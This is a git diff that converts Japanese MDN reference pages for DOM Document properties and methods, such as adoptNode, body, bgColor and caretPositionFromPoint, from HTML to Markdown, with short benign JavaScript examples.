diff --git a/files/ja/web/api/document/adoptnode/index.html b/files/ja/web/api/document/adoptnode/index.html deleted file mode 100644 index 95ce395289e88b..00000000000000 --- a/files/ja/web/api/document/adoptnode/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Document.adoptNode() -slug: Web/API/Document/adoptNode -tags: - - API - - DOM - - DOM Reference - - Method - - NeedsExample - - NeedsSpecTable - - NeedsUpdate - - Reference -translation_of: Web/API/Document/adoptNode ---- -
{{ ApiRef("DOM") }}
- -

Document.adoptNode() は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。

- -

構文

- -
const importedNode = document.adoptNode(externalNode);
-
- -

引数

- -
-
externalNode
-
他の文書から取り込まれるノードです。
-
- -

返値

- -

インポートする文書のスコープ内にコピーされた importedNode

- -

このメソッドを呼び出した後、 importedNode および externalNode は同じオブジェクトになります。

- -
-

注: importedNode の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので null です。

-
- -

- -
const iframe = document.querySelector('iframe');
-const iframeImages = iframe.contentDocument.querySelectorAll('img');
-const newParent = document.getElementById('images');
-
-iframeImages.forEach(function(imgEl) {
-  newParent.appendChild(document.adoptNode(imgEl));
-});
-
- -

- -

外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。

- - - -
-

ベストプラクティス: Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。

-
- -

{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.adoptNode")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/adoptnode/index.md b/files/ja/web/api/document/adoptnode/index.md new file mode 100644 index 00000000000000..6ed7156d9a21ef --- /dev/null +++ b/files/ja/web/api/document/adoptnode/index.md @@ -0,0 +1,73 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM Reference + - Method + - NeedsExample + - NeedsSpecTable + - NeedsUpdate + - Reference +translation_of: Web/API/Document/adoptNode +--- +{{ ApiRef("DOM") }} + +**`Document.adoptNode()`** は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。 + +## 構文 + +``` +const importedNode = document.adoptNode(externalNode); +``` + +### 引数 + +- `externalNode` + - : 他の文書から取り込まれるノードです。 + +### 返値 + +インポートする文書のスコープ内にコピーされた `importedNode`。 + +このメソッドを呼び出した後、 `importedNode` および `externalNode` は同じオブジェクトになります。 + +> **Note:** `importedNode` の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので `null` です。 + +## 例 + +```js +const iframe = document.querySelector('iframe'); +const iframeImages = iframe.contentDocument.querySelectorAll('img'); +const newParent = document.getElementById('images'); + +iframeImages.forEach(function(imgEl) { + newParent.appendChild(document.adoptNode(imgEl)); +}); +``` + +## 注 + +外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。 + +- {{domXref("document.importNode()")}} を使用して複製する +- {{domXref("document.adoptNode()")}} を使用して取り込む + +> **Note:** **ベストプラクティス:** Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。 + +{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.adoptNode")}} + +## 関連情報 + +- {{domxref("document.importNode()")}} diff --git a/files/ja/web/api/document/afterscriptexecute_event/index.html b/files/ja/web/api/document/afterscriptexecute_event/index.html deleted file mode 100644 index f8b961ca922e55..00000000000000 --- a/files/ja/web/api/document/afterscriptexecute_event/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Document.onafterscriptexecute -slug: Web/API/Document/afterscriptexecute_event -tags: - - API - - DOM - - Non-standard - - Reference - - プロパティ - - 標準外 -translation_of: Web/API/Document/onafterscriptexecute -original_slug: Web/API/Document/onafterscriptexecute ---- -
{{ApiRef("DOM")}}{{non-standard_header}}
- -

Document.onafterscriptexecute プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。

- -

構文

- -
document.onafterscriptexecute = funcRef;
-
- -

funcRef は関数の参照で、イベントが発行されると呼び出されます。イベントの target 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。

- -

- -
function finished(e) {
-  logMessage(`Finished script with ID: ${e.target.id}`);
-}
-
-document.addEventListener('afterscriptexecute', finished, true);
-
- -

ライブ例を表示

- -

仕様書

- - - -

ブラウザーの対応

- -

{{Compat("api.Document.onafterscriptexecute")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/afterscriptexecute_event/index.md b/files/ja/web/api/document/afterscriptexecute_event/index.md new file mode 100644 index 00000000000000..6c6c17472fb6ac --- /dev/null +++ b/files/ja/web/api/document/afterscriptexecute_event/index.md @@ -0,0 +1,49 @@ +--- +title: Document.onafterscriptexecute +slug: Web/API/Document/afterscriptexecute_event +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/onafterscriptexecute +original_slug: Web/API/Document/onafterscriptexecute +--- +{{ApiRef("DOM")}}{{non-standard_header}} + +**`Document.onafterscriptexecute`** プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。 + +## 構文 + +``` +document.onafterscriptexecute = funcRef; +``` + +_funcRef_ は関数の参照で、イベントが発行されると呼び出されます。イベントの `target` 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。 + +## 例 + +```js +function finished(e) { + logMessage(`Finished script with ID: ${e.target.id}`); +} + +document.addEventListener('afterscriptexecute', finished, true); +``` + +[ライブ例を表示](/samples/html/currentScript.html) + +## 仕様書 + +- [HTML5](http://www.whatwg.org/specs/web-apps/current-work/#the-script-element) + +## ブラウザーの互換性 + +{{Compat("api.Document.onafterscriptexecute")}} + +## 関連情報 + +- {{domxref("Document.onbeforescriptexecute")}} +- {{domxref("Document.currentScript")}} diff --git a/files/ja/web/api/document/alinkcolor/index.html b/files/ja/web/api/document/alinkcolor/index.html deleted file mode 100644 index 697600c7518bd3..00000000000000 --- a/files/ja/web/api/document/alinkcolor/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Document.alinkColor -slug: Web/API/Document/alinkColor -tags: - - API - - DOM - - Deprecated - - Document - - Reference - - alinkColor - - プロパティ -translation_of: Web/API/Document/alinkColor ---- -
{{APIRef("DOM")}}{{Deprecated_header}}
- -

文書本文のアクティブなリンクの色を取得または設定します。リンクは mousedownmouseup イベントの間にアクティブになります。

- -

構文

- -
var color = document.alinkColor;
-document.alinkColor = color;
-
- -

color は文字列で、色の名前 (blue, darkblue, など) または色の16進値 (#0000FF など) が入ります。

- -

メモ

- -

Mozilla Firefox では、このプロパティの既定値は赤 (16進で #ee0000) です。

- -

document.alinkColorDOM Level 2 HTML で非推奨となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。

- -

他の代替手段として document.body.alink がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

- -

GeckoalinkColor/:active および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は HTML アンカー (<a>) リンクには alinkColor/:active のみに対応しており、 :focus は Gecko と同様に動作します。 IE は :focus には対応していません。

- -

ブラウザーの対応

- -

{{Compat("api.Document.alinkColor")}}

diff --git a/files/ja/web/api/document/alinkcolor/index.md b/files/ja/web/api/document/alinkcolor/index.md new file mode 100644 index 00000000000000..ff6eed6df4828e --- /dev/null +++ b/files/ja/web/api/document/alinkcolor/index.md @@ -0,0 +1,39 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - DOM + - Deprecated + - Document + - Reference + - alinkColor + - プロパティ +translation_of: Web/API/Document/alinkColor +--- +{{APIRef("DOM")}}{{Deprecated_header}} + +文書本文のアクティブなリンクの色を取得または設定します。リンクは `mousedown` と `mouseup` イベントの間にアクティブになります。 + +## 構文 + +``` +var color = document.alinkColor; +document.alinkColor = color; +``` + +_color_ は文字列で、色の名前 (`blue`, `darkblue`, など) または色の 16 進値 (`#0000FF` など) が入ります。 + +## メモ + +Mozilla Firefox では、このプロパティの既定値は赤 (16 進で `#ee0000`) です。 + +`document.alinkColor` は [DOM Level 2 HTML で非推奨](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。 + +他の代替手段として `document.body.alink` がありますが、上記の CSS による代替手段が設置されたため [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-text)となっています。 + +[Gecko](/ja/docs/Mozilla/Gecko) は `alinkColor`/`:active` および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は [HTML アンカー (\) リンク](/ja/docs/Web/HTML/Element/a)には `alinkColor`/`:active` のみに対応しており、 `:focus` は Gecko と同様に動作します。 IE は `:focus` には対応していません。 + +## ブラウザーの互換性 + +{{Compat("api.Document.alinkColor")}} diff --git a/files/ja/web/api/document/all/index.html b/files/ja/web/api/document/all/index.html deleted file mode 100644 index eb43f800a3844d..00000000000000 --- a/files/ja/web/api/document/all/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Document.all -slug: Web/API/Document/all -tags: - - API - - DOM - - Document - - HTMLAllCollection - - Property - - Reference - - all -translation_of: Web/API/Document/all ---- -
{{APIRef("DOM")}}{{Deprecated_Header("HTML5")}}
- -

{{DOMxRef("Document")}} インターフェイスの all プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。

- -

構文

- -
var htmlAllCollection = document.all;
- -

- -

文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。

- -

論理型への変換

- -

document.all は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、[[IsHTMLDDA]] 内部スロットを持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 StackOverflow のこの回答にあります。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}初回定義
- 廃止された古い API の節で定義。
- -

ブラウザーの互換性

- -

{{Compat("api.Document.all")}}

diff --git a/files/ja/web/api/document/all/index.md b/files/ja/web/api/document/all/index.md new file mode 100644 index 00000000000000..0d389f76294e1a --- /dev/null +++ b/files/ja/web/api/document/all/index.md @@ -0,0 +1,40 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +{{APIRef("DOM")}}{{Deprecated_Header("HTML5")}} + +{{DOMxRef("Document")}} インターフェイスの **`all`** プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。 + +## 構文 + +``` +var htmlAllCollection = document.all; +``` + +### 値 + +文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。 + +## 論理型への変換 + +`document.all` は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、[\[\[IsHTMLDDA\]\] 内部スロット](https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot)を持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 [StackOverflow のこの回答](https://stackoverflow.com/a/62005426)にあります。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------ | -------------------------------- | ---------------------------------------- | +| {{SpecName('HTML WHATWG', '#dom-document-all', 'all')}} | {{Spec2('HTML WHATWG')}} | 初回定義 廃止された古い API の節で定義。 | + +## ブラウザーの互換性 + +{{Compat("api.Document.all")}} diff --git a/files/ja/web/api/document/applets/index.html b/files/ja/web/api/document/applets/index.html deleted file mode 100644 index be906b9c3b0e04..00000000000000 --- a/files/ja/web/api/document/applets/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Document.applets -slug: Web/API/Document/applets -tags: - - API - - Deprecated - - Document - - HTML DOM - - Property - - Reference - - applets - - プロパティ -translation_of: Web/API/Document/applets ---- -
{{APIRef("DOM")}}{{deprecated_header}}
- -

{{domxref("Document")}} インターフェイスの applets プロパティは、文書内のアプレットのリストを返します。

- -
-

メモ: {{htmlelement("applet")}} 要素は Gecko 56 および 2015年後期の Chrome から削除されました。それ以来、これらのブラウザーで document.applets を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 WebKit および Edge でも削除が検討されています。

-
- -

構文

- -
var nodeList = document.applets;
-
- -

- -

{{domxref("HTMLCollection")}}

- -

- -
// 2番目のアプレットが取得したいアプレットであると分かっている場合
-my_java_app = document.applets[1];
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}{{ Spec2('HTML WHATWG') }}廃止
{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}{{ Spec2('DOM2 Events') }}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.applets")}}

diff --git a/files/ja/web/api/document/applets/index.md b/files/ja/web/api/document/applets/index.md new file mode 100644 index 00000000000000..3665c792ee0344 --- /dev/null +++ b/files/ja/web/api/document/applets/index.md @@ -0,0 +1,47 @@ +--- +title: Document.applets +slug: Web/API/Document/applets +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - applets + - プロパティ +translation_of: Web/API/Document/applets +--- +{{APIRef("DOM")}}{{deprecated_header}} + +{{domxref("Document")}} インターフェイスの **`applets`** プロパティは、文書内のアプレットのリストを返します。 + +> **Note:** {{htmlelement("applet")}} 要素は [Gecko 56](https://bugzilla.mozilla.org/show_bug.cgi?id=1279218) および [2015 年後期の Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=470301) から削除されました。それ以来、これらのブラウザーで `document.applets` を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 [WebKit](https://bugs.webkit.org/show_bug.cgi?id=157926) および [Edge](https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/) でも削除が検討されています。 + +## 構文 + +``` +var nodeList = document.applets; +``` + +### 値 + +{{domxref("HTMLCollection")}} + +## 例 + +```js +// 2番目のアプレットが取得したいアプレットであると分かっている場合 +my_java_app = document.applets[1]; +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------- | +| {{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}} | {{ Spec2('HTML WHATWG') }} | 廃止 | +| {{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}} | {{ Spec2('DOM2 Events') }} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.applets")}} diff --git a/files/ja/web/api/document/bgcolor/index.html b/files/ja/web/api/document/bgcolor/index.html deleted file mode 100644 index d156c2d6176213..00000000000000 --- a/files/ja/web/api/document/bgcolor/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: document.bgColor -slug: Web/API/Document/bgColor -tags: - - API - - DOM - - Deprecated - - Document - - Gecko - - HTML DOM - - Property - - Reference -translation_of: Web/API/Document/bgColor ---- -

{{APIRef("DOM")}} {{ Deprecated_header() }}

- -

廃止された bgColor プロパティは、現在の文書の背景色を取得または設定します。

- -

構文

- -
color = document.bgColor
-document.bgColor =color
-
- -

引数

- - - -

- -
document.bgColor = "darkblue";
-
- -

メモ

- -

Firefox ではこのプロパティの初期値は白 (16進表記で #FFFFFF) となっています。

- -

document.bgColorDOM Level 2 HTML で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 document.body.style.backgroundColor で DOM を通してアクセスできます。もう一つの代替手段である document.body.bgColor は、 HTML 4.01 で CSS に代替されたため非推奨となっています。

- -

ブラウザーの互換性

- -

{{Compat("api.Document.bgColor")}}

diff --git a/files/ja/web/api/document/bgcolor/index.md b/files/ja/web/api/document/bgcolor/index.md new file mode 100644 index 00000000000000..d1712960475539 --- /dev/null +++ b/files/ja/web/api/document/bgcolor/index.md @@ -0,0 +1,44 @@ +--- +title: document.bgColor +slug: Web/API/Document/bgColor +tags: + - API + - DOM + - Deprecated + - Document + - Gecko + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/bgColor +--- +{{APIRef("DOM")}} {{ Deprecated_header() }} + +廃止された `bgColor` プロパティは、現在の文書の背景色を取得または設定します。 + +## 構文 + +``` +color = document.bgColor +document.bgColor =color +``` + +### 引数 + +- `color` : 色名 (`"white"` 等) またはカラーコード (`"#FFFFFF"` 等) の文字列 + +## 例 + +``` +document.bgColor = "darkblue"; +``` + +## メモ + +Firefox ではこのプロパティの初期値は白 (16 進表記で `#FFFFFF`) となっています。 + +`document.bgColor` は [DOM Level 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268) で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 `document.body.style.backgroundColor` で DOM を通してアクセスできます。もう一つの代替手段である `document.body.bgColor` は、 HTML 4.01 で CSS に代替されたため非推奨となっています。 + +## ブラウザーの互換性 + +{{Compat("api.Document.bgColor")}} diff --git a/files/ja/web/api/document/body/index.html b/files/ja/web/api/document/body/index.html deleted file mode 100644 index aa390d8653ff9b..00000000000000 --- a/files/ja/web/api/document/body/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Document.body -slug: Web/API/Document/body -tags: - - API - - Document - - HTML DOM - - Property - - Reference - - プロパティ -translation_of: Web/API/Document/body ---- -
{{APIRef("DOM")}}
- -

Document.body プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ null になります。

- -

構文

- -
const objRef = document.body
-document.body = objRef
- -

- -
// Given this HTML: <body id="oldBodyElement"></body>
-alert(document.body.id); // "oldBodyElement"
-
-const aNewBodyElement = document.createElement("body");
-
-aNewBodyElement.id = "newBodyElement";
-document.body = aNewBodyElement;
-alert(document.body.id); // "newBodyElement"
-
- -

- -

document.body は文書の内容を持つ要素です。 <body> の内容を持つ文書では <body> 要素を返し、フレームセット文書では、これは最も外側の <frameset> 要素を返します。

- -

body プロパティは設定が可能ですが、文書に新しい body を設定すると、既存の <body> 要素の子ノードは全て削除されます。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.body")}}
- -

関連情報

- - diff --git a/files/ja/web/api/document/body/index.md b/files/ja/web/api/document/body/index.md new file mode 100644 index 00000000000000..8dfd953e225955 --- /dev/null +++ b/files/ja/web/api/document/body/index.md @@ -0,0 +1,57 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/body +--- +{{APIRef("DOM")}} + +**`Document.body`** プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ `null` になります。 + +## 構文 + +``` +const objRef = document.body +document.body = objRef +``` + +## 例 + +```js +// Given this HTML: +alert(document.body.id); // "oldBodyElement" + +const aNewBodyElement = document.createElement("body"); + +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement" +``` + +## 注 + +`document.body` は文書の内容を持つ要素です。 `` の内容を持つ文書では `` 要素を返し、フレームセット文書では、これは最も外側の `` 要素を返します。 + +`body` プロパティは設定が可能ですが、文書に新しい `body` を設定すると、既存の `` 要素の子ノードは全て削除されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}} | {{Spec2('HTML5 W3C')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.body")}} + +## 関連情報 + +- {{domxref("document.head")}} diff --git a/files/ja/web/api/document/caretpositionfrompoint/index.html b/files/ja/web/api/document/caretpositionfrompoint/index.html deleted file mode 100644 index d4095dcc74a675..00000000000000 --- a/files/ja/web/api/document/caretpositionfrompoint/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: DocumentOrShadowRoot.caretPositionFromPoint() -slug: Web/API/Document/caretPositionFromPoint -tags: - - API - - Document - - DocumentOrShadowRoot - - Method - - Reference - - ShadowRoot - - caretPositionFromPoint() -translation_of: Web/API/DocumentOrShadowRoot/caretPositionFromPoint -original_slug: Web/API/DocumentOrShadowRoot/caretPositionFromPoint ---- -

{{APIRef("CSSOM View")}}{{SeeCompatTable}}

- -

{{domxref("DocumentOrShadowRoot")}} インターフェイスの caretPositionFromPoint() プロパティは、 DOM ノードを含む {{domxref('CaretPosition')}} オブジェクトを、そのノード内のキャレットとキャレットの文字オフセットと共に返します。

- -

構文

- -
var caretPosition = document.caretPositionFromPoint(float x, float y);
- -

パラメータ

- -
-
x
-
ポイントの水平座標。
-
y
-
ポイントの垂直座標。
-
- -

返り値

- -

{{domxref('CaretPosition')}} オブジェクト。

- -

- -

この例では、クリックした場所に改行を挿入します。そのコードはデモの下にあります。

- -

Demo

- -

{{EmbedLiveSample('Example', '100%', '300px')}}

- -

HTML Content

- -
<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
-sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
-sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
-Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>
- -

JavaScript Content

- -
function insertBreakAtPoint(e) {
-  var range;
-  var textNode;
-  var offset;
-
-  if (document.caretPositionFromPoint) {
-    range = document.caretPositionFromPoint(e.clientX, e.clientY);
-    textNode = range.offsetNode;
-    offset = range.offset;
-  } else if (document.caretRangeFromPoint) {
-    range = document.caretRangeFromPoint(e.clientX, e.clientY);
-    textNode = range.startContainer;
-    offset = range.startOffset;
-  }
-
-  // only split TEXT_NODEs
-  if (textNode.nodeType == 3) {
-    var replacement = textNode.splitText(offset);
-    var br = document.createElement('br');
-    textNode.parentNode.insertBefore(br, replacement);
-  }
-}
-
-window.onload = function (){
-  var paragraphs = document.getElementsByTagName("p");
-  for (i=0 ; i < paragraphs.length; i++) {
-    paragraphs[i].addEventListener("click", insertBreakAtPoint, false);
-  }
-};
- -

仕様

- - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName('CSSOM View','#dom-document-caretpositionfrompoint','caretPositionFromPoint()')}}{{Spec2('CSSOM View')}}Initial definition.
- -

ブラウザー実装状況

- - - -

{{Compat("api.DocumentOrShadowRoot.caretPositionFromPoint")}}

diff --git a/files/ja/web/api/document/caretpositionfrompoint/index.md b/files/ja/web/api/document/caretpositionfrompoint/index.md new file mode 100644 index 00000000000000..39a5343ed81b0f --- /dev/null +++ b/files/ja/web/api/document/caretpositionfrompoint/index.md @@ -0,0 +1,95 @@ +--- +title: DocumentOrShadowRoot.caretPositionFromPoint() +slug: Web/API/Document/caretPositionFromPoint +tags: + - API + - Document + - DocumentOrShadowRoot + - Method + - Reference + - ShadowRoot + - caretPositionFromPoint() +translation_of: Web/API/DocumentOrShadowRoot/caretPositionFromPoint +original_slug: Web/API/DocumentOrShadowRoot/caretPositionFromPoint +--- +{{APIRef("CSSOM View")}}{{SeeCompatTable}} + +{{domxref("DocumentOrShadowRoot")}} インターフェイスの **`caretPositionFromPoint()`** プロパティは、 DOM ノードを含む {{domxref('CaretPosition')}} オブジェクトを、そのノード内のキャレットとキャレットの文字オフセットと共に返します。 + +## 構文 + +``` +var caretPosition = document.caretPositionFromPoint(float x, float y); +``` + +### パラメータ + +- `x` + - : ポイントの水平座標。 +- `y` + - : ポイントの垂直座標。 + +### 返り値 + +{{domxref('CaretPosition')}} オブジェクト。 + +## 例 + +この例では、クリックした場所に改行を挿入します。そのコードはデモの下にあります。 + +### Demo + +{{EmbedLiveSample('Example', '100%', '300px')}} + +### HTML Content + +```html +

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, +sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, +sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. +Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

+``` + +### JavaScript Content + +```js +function insertBreakAtPoint(e) { + var range; + var textNode; + var offset; + + if (document.caretPositionFromPoint) { + range = document.caretPositionFromPoint(e.clientX, e.clientY); + textNode = range.offsetNode; + offset = range.offset; + } else if (document.caretRangeFromPoint) { + range = document.caretRangeFromPoint(e.clientX, e.clientY); + textNode = range.startContainer; + offset = range.startOffset; + } + + // only split TEXT_NODEs + if (textNode.nodeType == 3) { + var replacement = textNode.splitText(offset); + var br = document.createElement('br'); + textNode.parentNode.insertBefore(br, replacement); + } +} + +window.onload = function (){ + var paragraphs = document.getElementsByTagName("p"); + for (i=0 ; i < paragraphs.length; i++) { + paragraphs[i].addEventListener("click", insertBreakAtPoint, false); + } +}; +``` + +## 仕様 + +| 仕様 | ステータス | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | +| {{SpecName('CSSOM View','#dom-document-caretpositionfrompoint','caretPositionFromPoint()')}} | {{Spec2('CSSOM View')}} | Initial definition. | + +## ブラウザーの互換性 + +{{Compat("api.DocumentOrShadowRoot.caretPositionFromPoint")}} diff --git a/files/ja/web/api/document/characterset/index.html b/files/ja/web/api/document/characterset/index.html deleted file mode 100644 index 8dd172b1a76c0a..00000000000000 --- a/files/ja/web/api/document/characterset/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Document.characterSet -slug: Web/API/Document/characterSet -tags: -- API -- DOM -- Document -- Property -- Read-only -- Reference -browser-compat: api.Document.characterSet -translation_of: Web/API/Document/characterSet ---- -
{{ ApiRef("DOM") }}
- -

Document.characterSet プロパティは読み取り専用で、文書の文字エンコーディングを表す文字列を返します。 (文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。)

- -
-

「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。

-
- -

ユーザーは、 Content-Type ヘッダーの中や <meta charset="utf-8"> などのインラインで開発者が指定した文字エンコーディングを上書きできます。例えば Firefox では 表示 → テキストエンコーディング メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって文字化けを引き起こされたときに直すために提供されています。

- -
-

プロパティ document.charset および document.inputEncoding は、document.characterSet への古いエイリアスです。これらは使用しないでください。

-
- -

構文

- -
var string = document.characterSet;
- -

- -
<button onclick="console.log(document.characterSet);">
-  Log character encoding
-</button>
-<!-- "ISO-8859-1" や "UTF-8" など、文書の文字セットが開発者コンソールに表示されます -->
-
- -

仕様書

- -{{Specifications}} - -

ブラウザーの互換性

- -

{{Compat}}

